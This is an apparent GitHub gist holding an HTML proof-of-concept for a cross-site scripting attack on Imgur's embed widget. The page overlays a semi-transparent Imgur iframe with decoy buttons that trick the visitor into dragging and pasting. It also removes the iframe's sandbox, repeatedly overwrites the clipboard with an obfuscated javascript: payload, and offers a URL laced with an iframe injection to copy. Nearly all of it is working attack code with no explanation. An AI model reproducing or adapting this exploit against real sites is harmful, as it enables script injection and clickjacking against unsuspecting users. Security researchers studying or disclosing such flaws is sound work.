-
-
Save keerok/870ea0733c47c9cfb36a854018fc0e75 to your computer and use it in GitHub Desktop.
Imgur XSS PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en" dir="ltr"> | |
<head> | |
<meta charset="utf-8"> | |
<title>PoC</title> | |
<style media="screen"> | |
iframe{ | |
opacity: 50%; | |
width: 1000px; | |
height: 500px; | |
} | |
#content{ | |
position: relative; | |
} | |
#btn1{ | |
position:absolute; | |
top: 30px; | |
left: 170px; | |
vertical-align: middle; | |
padding: 0px; | |
background-color: #7a297a; | |
color:white; | |
border: 2px solid #7a297a; | |
border-radius: 25px; | |
font-size: 20px; | |
} | |
#btn2{ | |
position:absolute; | |
top: 120px; | |
left: 170px; | |
vertical-align: middle; | |
padding: 0px; | |
background-color: #7a297a; | |
color:white; | |
border: 2px solid #7a297a; | |
border-radius: 25px; | |
font-size: 20px; | |
} | |
</style> | |
</head> | |
<body> | |
<div id="btn1">Click Here</div> | |
<div id=content> | |
<div id="btn2"> | |
</div> | |
<blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed"> | |
<a href="//imgur.com/a/xx">Life is not the same without your loved ones ...</a> | |
</blockquote> | |
</div> | |
<br><br> | |
<p style="color: red">copy this text</p> | |
<input type="text" name="" value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>"> | |
<img src=boa.jpeg> | |
<script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script> | |
<script type="text/javascript"> | |
var i = 0; | |
var j = 0; | |
var ifr = ''; | |
var x = 0; | |
setTimeout(function(){ | |
ifr = document.querySelector('iframe'); | |
ifr.style=""; | |
ifr.removeAttribute("sandbox"); | |
console.log(ifr); | |
},4000) | |
setInterval(function(){ | |
navigator.clipboard.writeText("<<!<script>iframe src=javajavascriptscript:alert(document.domain)>").then(function(text){console.log(text)}) | |
},1000) | |
setInterval(function(){ | |
if(i==2){ | |
console.log("stop counter..."); | |
} | |
if(x!=1){ | |
if(ifr.contentWindow.frames.length==1){ | |
console.log("page change!"); | |
btn1.innerHTML="drag the image to here!"; | |
x=1; | |
} | |
} | |
},1000) | |
onmessage=function(event){ | |
console.log(event); | |
i++; | |
} | |
onpaste=function(){ | |
console.log("ONPASTE!"); | |
} | |
ondragend=function(){ | |
btn1.innerHTML=""; | |
setTimeout(function(){ | |
btn1.innerHTML=""; | |
btn2.innerHTML="copy the red text and paste here after that, press enter!"; | |
},1100) | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment